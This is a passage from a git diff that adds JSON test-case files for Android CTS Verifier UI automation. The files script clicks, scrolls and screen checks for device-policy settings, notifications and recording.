SESSION\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":113.0,\"y1\":196.0,\"x2\":236.0,\"y2\":244.0}}],\"childrenIdList\":[\"ad921587-e363-4652-ae6b-9d95ff9bba16\",\"e4de1112-09f8-47c2-87f3-6b3b0ad5c533\",\"45ba2941-0af0-48b2-8cbe-38786fa75553\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"35840c4b-e190-43a0-9a01-1c944723d88f\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"30c8a61e-e187-4a54-9341-3d0a46e44b35\",\"f7d82734-1a05-4499-b9b4-dc02c12e0621\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"395c800c-bf55-46f7-8564-3252a3059a1a\",\"713ffb44-6a90-40c0-95e4-9578e04e661f\",\"e6658e26-79c9-41e7-bceb-9248b8beda76\",\"618fa5f4-e901-4286-9ef9-d6419956568e\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"258d3584-078a-4f56-a7cf-2accf3476cd7\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"19-Logout","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.205000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/365f65bd-c7be-4d20-9b37-7694dfa81ba1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/365f65bd-c7be-4d20-9b37-7694dfa81ba1
new file mode 100644
index 0000000..4284b7c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/365f65bd-c7be-4d20-9b37-7694dfa81ba1
@@ -0,0 +1 @@
+{"uuid":"365f65bd-c7be-4d20-9b37-7694dfa81ba1","details":"{\"type\":\"CompoundAction\",\"name\":\"15-14-Disallow network reset\",\"actionId\":\"365f65bd-c7be-4d20-9b37-7694dfa81ba1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow network reset\",\"actionId\":\"ac22df88-f8bd-49d3-9158-538f26703661\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow network reset\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d20a7744-077b-48b5-8913-e66de0eec02d\",\"displayText\":\"Disallow network reset\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow network reset\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":398.0,\"x2\":360.0,\"y2\":442.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":79.5,\"y\":422.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":100.5,\"y\":-2.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d20a7744-077b-48b5-8913-e66de0eec02d\",\"firstText\":\"Disallow network reset\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow network reset\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":1.0,\"y1\":407.0,\"x2\":158.0,\"y2\":438.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow network reset\",\"actionId\":\"390ca176-df7c-43f7-bac9-a9e1ed56f1a7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow network reset\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Reset Wi-Fi, mobile & Bluetooth\",\"actionId\":\"e4fbd0c3-a2d9-4877-bd10-8e840a7ef85c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Reset Wi-Fi, mobile & Bluetooth\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"ac22df88-f8bd-49d3-9158-538f26703661\",\"390ca176-df7c-43f7-bac9-a9e1ed56f1a7\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"d7cdb82c-060e-4a47-83c1-c1b9f6396683\",\"e4fbd0c3-a2d9-4877-bd10-8e840a7ef85c\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-14-Disallow network reset","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.140000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/370c511c-5950-4b3a-b832-60f2a606a27a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/370c511c-5950-4b3a-b832-60f2a606a27a
new file mode 100644
index 0000000..0cd5d29
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/370c511c-5950-4b3a-b832-60f2a606a27a
@@ -0,0 +1 @@
+{"uuid":"370c511c-5950-4b3a-b832-60f2a606a27a","details":"{\"type\":\"CompoundAction\",\"name\":\"Press Back key 5 times\",\"actionId\":\"370c511c-5950-4b3a-b832-60f2a606a27a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7b83574c-5b48-4f83-b426-62981cc09d30\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"7b83574c-5b48-4f83-b426-62981cc09d30\"],\"repeatTime\":5,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Press Back key 5 times","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.070000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/377a3a65-66d4-4e05-ac35-b9e4196639e9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/377a3a65-66d4-4e05-ac35-b9e4196639e9
new file mode 100644
index 0000000..5a30bb0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/377a3a65-66d4-4e05-ac35-b9e4196639e9
@@ -0,0 +1 @@
+{"uuid":"377a3a65-66d4-4e05-ac35-b9e4196639e9","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Share button\",\"actionId\":\"377a3a65-66d4-4e05-ac35-b9e4196639e9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Share button\",\"actionId\":\"ba70ec08-19e4-475e-934a-23ab671b9aae\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"ba70ec08-19e4-475e-934a-23ab671b9aae\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Share button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.073000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/37bd58c3-6297-4c65-ac3f-e575ec7b3986 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/37bd58c3-6297-4c65-ac3f-e575ec7b3986
new file mode 100644
index 0000000..b2f243c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/37bd58c3-6297-4c65-ac3f-e575ec7b3986
@@ -0,0 +1 @@
+{"uuid":"37bd58c3-6297-4c65-ac3f-e575ec7b3986","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify there is no notification in the notification shade\",\"actionId\":\"37bd58c3-6297-4c65-ac3f-e575ec7b3986\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if there is no bubble notifcation\",\"actionId\":\"0a35e6ba-c7e1-4d25-a0ac-4b64188df31c\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"BubbleChat\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0634fb7b-94ce-412a-96b4-577bf2221ad8\",\"displayText\":\"BubbleChat\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"48ee6448-3cf6-496c-8246-5ee62574b5d5\",\"displayText\":\"BubbleChat\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/conversation_text\",\"text\":\"BubbleChat\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":208.25,\"x2\":150.5,\"y2\":227.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.5,\"y\":2.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"BubbleChat\"},{\"uuid\":\"1a0a19f5-9dd3-4f96-92c1-60f016aaec3b\",\"displayText\":\"•\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_divider\",\"text\":\"•\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":157.5,\"y1\":210.0,\"x2\":161.0,\"y2\":225.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"•\"},{\"uuid\":\"5e53b7cd-e97e-480e-abcd-3d4d4a7f4003\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":168.0,\"y1\":210.0,\"x2\":222.5,\"y2\":225.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"CTS Verifier\"},{\"uuid\":\"685e2b0f-db83-4406-aede-8bdf096e1786\",\"displayText\":\"Alerted\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/alerted_icon\",\"contentDesc\":\"Alerted\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":229.5,\"y1\":212.5,\"x2\":240.0,\"y2\":223.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Alerted\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/conversation_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":194.25,\"x2\":275.0,\"y2\":227.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":109.5,\"y\":215.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":64.75,\"y\":-4.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"48ee6448-3cf6-496c-8246-5ee62574b5d5\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"BubbleChat\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":67.0,\"y1\":203.0,\"x2\":152.0,\"y2\":227.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the notification text not exist\",\"actionId\":\"bc88ebc9-3ba2-4425-bea8-b22d4a64864c\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Is it me you're looking for?\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ac2001c6-47fa-445e-b3f0-7b38ee7862a1\",\"displayText\":\"Is it me you're looking for?\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"2643eee3-0044-4b50-baa0-5e284b1fadff\",\"displayText\":\"Hello?\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/message_text\",\"text\":\"Hello?\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":246.0,\"x2\":107.5,\"y2\":262.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Hello?\"},{\"uuid\":\"415d2f5e-4bf3-4b8d-b626-47bcb8feadd8\",\"displayText\":\"Is it me you're looking for?\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/message_text\",\"text\":\"Is it me you're looking for?\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":264.25,\"x2\":216.0,\"y2\":280.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":6.75,\"y\":3.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Is it me you're looking for?\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/group_message_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":246.0,\"x2\":216.0,\"y2\":280.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":138.0,\"y\":269.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":6.75,\"y\":-5.625,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"415d2f5e-4bf3-4b8d-b626-47bcb8feadd8\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Is it me you're looking for?\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":59.0,\"y1\":259.0,\"x2\":217.0,\"y2\":279.0}}],\"childrenIdList\":[\"15c75efc-b173-4eed-9a2c-164886355c98\",\"0a35e6ba-c7e1-4d25-a0ac-4b64188df31c\",\"bc88ebc9-3ba2-4425-bea8-b22d4a64864c\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify there is no notification in the notification shade","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.226000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3815d172-f8cb-41b5-9bb3-5b3694bebd96 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3815d172-f8cb-41b5-9bb3-5b3694bebd96
new file mode 100644
index 0000000..60d27de
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3815d172-f8cb-41b5-9bb3-5b3694bebd96
@@ -0,0 +1 @@
+{"uuid":"3815d172-f8cb-41b5-9bb3-5b3694bebd96","details":"{\"type\":\"CompoundAction\",\"name\":\"Stop recording\",\"actionId\":\"3815d172-f8cb-41b5-9bb3-5b3694bebd96\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Stop recording\",\"actionId\":\"a9527ebe-9f1d-4371-a2b1-7c8da031b3fe\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_stop\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_stop\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_stop\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"a9527ebe-9f1d-4371-a2b1-7c8da031b3fe\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Stop recording","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.008000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3832f622-3408-4968-9429-c0c9e11905d5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3832f622-3408-4968-9429-c0c9e11905d5
new file mode 100644
index 0000000..daf5c4a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3832f622-3408-4968-9429-c0c9e11905d5
@@ -0,0 +1 @@
+{"uuid":"3832f622-3408-4968-9429-c0c9e11905d5","details":"{\"type\":\"CompoundAction\",\"name\":\"Open Alarms and Timers Tests \",\"actionId\":\"3832f622-3408-4968-9429-c0c9e11905d5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"ScrollScreenContentValidationAction\",\"actionId\":\"3ec82ea7-e64c-4cc0-8c4e-2fe674e4459a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Alarms and Timers Tests\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3210dc66-d9a5-4d34-b0c0-78607ef696cb\",\"displayText\":\"Alarms and Timers Tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Alarms and Timers Tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":522.0,\"x2\":350.6666666666667,\"y2\":566.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.5,\"y\":542.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":87.5,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"3210dc66-d9a5-4d34-b0c0-78607ef696cb\",\"firstText\":\"Alarms and Timers Tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Alarms and Timers Tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":529.0,\"x2\":178.0,\"y2\":556.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Alarms and Timers Tests\",\"actionId\":\"c6ec2ffc-d852-4c8f-8806-562c35c0946e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Alarms and Timers Tests\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"3ec82ea7-e64c-4cc0-8c4e-2fe674e4459a\",\"c6ec2ffc-d852-4c8f-8806-562c35c0946e\",\"1601f323-e824-4190-9ee0-350f0a1149ea\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open Alarms and Timers Tests ","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.029000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3935709f-effe-474a-96d0-07dd056d34f9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3935709f-effe-474a-96d0-07dd056d34f9
new file mode 100644
index 0000000..e0b7d80
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3935709f-effe-474a-96d0-07dd056d34f9
@@ -0,0 +1 @@
+{"uuid":"3935709f-effe-474a-96d0-07dd056d34f9","details":"{\"type\":\"CompoundAction\",\"name\":\"Enter password \\\"a14725836\\\"\",\"actionId\":\"3935709f-effe-474a-96d0-07dd056d34f9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"INPUT password a14725836\",\"actionId\":\"fe3f6db0-130d-4ff2-b575-e332077bb839\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"a14725836\",\"isSingleChar\":false}],\"childrenIdList\":[\"fe3f6db0-130d-4ff2-b575-e332077bb839\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Enter password \"a14725836\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.264000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3a510978-df33-499d-baab-b236c9960bd8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3a510978-df33-499d-baab-b236c9960bd8
new file mode 100644
index 0000000..b70f150
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3a510978-df33-499d-baab-b236c9960bd8
@@ -0,0 +1 @@
+{"uuid":"3a510978-df33-499d-baab-b236c9960bd8","details":"{\"type\":\"CompoundAction\",\"name\":\"20-Disallow user switch\",\"actionId\":\"3a510978-df33-499d-baab-b236c9960bd8\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow user switch\",\"actionId\":\"3f0d8bad-ac69-4974-bd0d-c438bf73529f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow user switch\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"68186299-91ba-4887-94f6-27859c74dbbe\",\"displayText\":\"Disallow user switch\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow user switch\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":459.0,\"x2\":351.25,\"y2\":501.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":79.5,\"y\":476.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":100.5,\"y\":4.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"68186299-91ba-4887-94f6-27859c74dbbe\",\"firstText\":\"Disallow user switch\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow user switch\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":12.0,\"y1\":464.0,\"x2\":147.0,\"y2\":488.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow user switch\",\"actionId\":\"b386dd6c-385d-436d-be03-b2f380c21eda\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow user switch\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Create uninitialized user\",\"actionId\":\"f4f53349-61a1-46a0-9036-d41d0b62e140\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Create uninitialized user\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY main switch is disabled and in off 